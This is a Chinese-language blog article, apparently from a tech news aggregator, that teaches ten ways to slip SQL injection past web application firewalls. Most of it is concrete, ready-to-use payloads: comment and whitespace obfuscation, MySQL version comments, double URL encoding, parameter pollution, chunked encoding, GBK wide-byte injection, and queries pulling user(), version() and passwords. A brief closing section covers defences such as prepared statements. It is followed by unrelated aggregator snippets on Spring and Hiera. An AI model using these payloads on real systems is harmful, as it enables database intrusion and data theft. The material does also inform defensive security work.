news 2026/3/20 16:27:09

SQL 注入的 10 种进阶姿势:WAF 防火墙绕过实战,你的数据库真的安全吗?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL 注入的 10 种进阶姿势:WAF 防火墙绕过实战,你的数据库真的安全吗?

🚨 前言:WAF 真的万能吗?

WAF 的核心逻辑是正则匹配 (Regex Matching)特征检测
只要你的攻击 Payload 长得不像攻击,或者利用了解析差异,就能骗过 WAF,直接捅进数据库的心脏。

攻防逻辑示意图 (Mermaid):

1. 标准 SQL 注入
AND 1=1

匹配规则: 拦截!

2. 变形 Payload
/*M!50000AND*/ 1=1

规则未匹配: 放行

返回敏感数据

攻击者

WAF 防火墙

数据库

❌ 403 Forbidden


🛠️ 第一阶:基础替换流

1. 大小写混合 (Case Variation)
  • 原理:早期的 WAF 规则写得很死,只拦截UNION SELECT
  • 绕过
UnIoNSeLeCt1,user(),vErSiOn()
2. 空白符替换 (Whitespace Manipulation)
  • 原理:WAF 通常拦截空格。
  • 绕过:利用数据库支持的其他空白字符。
  • MySQL%09(TAB),%0a(换行),%0b,%0c,%0d,+
  • Payload
SELECT/**/id/**/FROM/**/usersSELECT%0aid%0aFROM%0ausers
3. 内联注释混淆 (Inline Comments)
  • 原理:利用/* ... */将关键词打断,骗过正则,但在数据库中依然有效。
  • 绕过
UN/**/ION SE/**/LECT password FR/**/OM users

⚔️ 第二阶:逻辑与编码流

4. MySQL 版本号特性 (Version Comments)
  • 原理:MySQL 特有的语法/*! ... */。如果里面的数字小于当前版本号,注释内容会被执行。
  • 绕过
/*!50000UNION*//*!50000SELECT*/1,2,3

解释:WAF 以为是注释直接放行,但 MySQL 5.0 以上会执行它。

5. 双重 URL 编码 (Double Encoding)
  • 原理:WAF 可能只解码一次,但 Web 服务器会解码两次。
  • 绕过
  • s->%73->%25%37%33
  • Payload
id=1%25%35%35%6eion%25%35%33elect1,2#
6. 等价函数/符号替换 (Equivalent Substitution)
  • 原理:WAF 拦截了hex()=,我们就换个写法。
  • 绕过
  • hex()->bin()/ascii()
  • sleep()->benchmark()
  • =->LIKE/RLIKE/REGEXP/<>
  • AND->&&
  • OR->||
  • Payload
id=1&&ascii(substr(user(),1,1))>0

🔥 第三阶:协议与底层流

7. HTTP 参数污染 (HPP - Parameter Pollution)
  • 原理:当 URL 传递两个同名参数?id=1&id=2时,WAF 可能只检測第一个,但后端数据库(如 ASP.NET/IIS)可能解析第二个,或者拼接两者。
  • 绕过
?id=1&id=UNION&id=SELECT&id=1,2,3
8. 缓冲区溢出/超大数据包 (Buffer Overflow)
  • 原理:为了性能,WAF 通常只检测请求的前 8KB 或 16KB。如果你塞入大量的垃圾数据,把攻击 Payload 放在最后,WAF 可能会直接放行。
  • 绕过
id=1/*A x 50000*/UNIONSELECT1,2,3
9. 分块传输编码 (Chunked Transfer Encoding)
  • 原理:在 HTTP 头中添加Transfer-Encoding: chunked,将 Payload 切碎发送。很多 WAF 无法还原分块数据。
  • 绕过
POST /login.php HTTP/1.1 Transfer-Encoding: chunked 4 unio 1 n 4 sele 2 ct ...
10. 宽字节注入 (Wide Byte Injection)
  • 原理:针对 GBK 编码的数据库。WAF 会转义单引号'变为\'(%5c%27)。
  • 绕过:我们在单引号前加一个%df
  • %df%5c在 GBK 中是一个汉字(運)。
  • 于是\'被吃掉了,单引号逃逸了出来。
  • Payload
id=1%df%27 UNION SELECT...

🛡️ 防御篇:如何彻底终结 SQL 注入?

看了上面 10 种绕过姿势,你还觉得你的 WAF 安全吗?
真正的防御不能只靠“堵”(WAF),必须靠“治”(代码)。

  1. 预编译 (Prepared Statements)
  • 这是银弹!无论参数怎么写,数据库都只把它当成纯文本,绝不执行。
  • Java:PreparedStatement
  • PHP:PDO
  1. RASP (运行时应用自我保护)
  • 比 WAF 更高级,直接挂钩在应用内部,检测到底层调用的 SQL 语句。
  1. 严格的输入验证
  • 如果你知道id只能是数字,就用Integer.parseInt()强转,别给黑客留机会。

博主留言:
安全攻防是一场永无止境的猫鼠游戏。
掌握攻击的艺术,是为了更好地构建防御的堡垒。
如果你的生产环境还在拼接 SQL 字符串,请立刻、马上重构代码!

(喜欢这类硬核安全知识?点赞、收藏,下期讲《XSS 跨站脚本攻击的 5 种隐蔽通道》!)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/14 0:50:26

28、Hiera:数据与代码分离的利器

Hiera:数据与代码分离的利器 1. Hiera基础操作 Hiera是一个强大的工具,可用于将数据与代码分离。我们可以使用调试标志运行相关命令,以查看更多详细信息。例如,使用以下命令: root@puppet-master-hiera-ubuntu:/etc/puppet/data# hiera -d puppetmaster输出结果如下: …

作者头像 李华
网站建设 2026/3/17 22:05:52

48、Spring中邮件支持:MIME消息的构建与发送

Spring中邮件支持:MIME消息的构建与发送 在邮件发送的应用场景中,我们常常会遇到各种需求。有时候,邮件可能只是简单的文本消息,但更多时候,我们需要发送包含HTML格式、嵌入式图片、附件等复杂内容的邮件。接下来,我们将详细探讨如何在Spring框架中构建和发送这些复杂的…

作者头像 李华
网站建设 2026/3/13 13:27:35

51、Spring动态语言与远程调用技术解析

Spring动态语言与远程调用技术解析 动态语言性能与可刷新Bean 在Spring中使用动态语言时,性能是一个需要关注的点。从一些调试信息可以看到不同单例Bean的获取时间: - bshTextSource Bean获取耗时52毫秒。 - textSource Bean获取耗时5毫秒。 - jrubyTextSource Be…

作者头像 李华
网站建设 2026/3/20 12:21:53

55、深入探索Web服务:从JAX - WS到HTTP Invoker

深入探索Web服务:从JAX - WS到HTTP Invoker 1. JAX - WS Web服务的使用 在使用JAX - WS Web服务时,借助XFire可以方便地完成服务的暴露。我们只需设置 serviceBean 属性为 JaxWsHelloWorld Web服务的实现, serviceInterface 为 com.apress.prospring2.ch15.remotin…

作者头像 李华
网站建设 2026/3/14 7:45:43

通俗解释基尔霍夫定律:电子电路基础关键原理入门

基尔霍夫定律&#xff1a;从“水流”到“爬山”&#xff0c;带你真正看懂电路中的电流与电压你有没有过这样的经历&#xff1f;手握万用表&#xff0c;站在一块冒烟的PCB板前&#xff0c;看着几个跳动的电压值&#xff0c;心里却毫无头绪&#xff1a;这地方该不该有压降&#x…

作者头像 李华
网站建设 2026/3/14 7:39:18

64、Spring Web应用中的多种视图技术

Spring Web应用中的多种视图技术 在Spring Web应用开发中,选择合适的视图技术对于实现高效、可维护的应用至关重要。本文将详细介绍几种常见的视图技术,包括JSP、Velocity、FreeMarker、XSLT和PDF视图,并提供使用示例和相关注意事项。 1. 显示字段错误信息 在Spring中,如…

作者头像 李华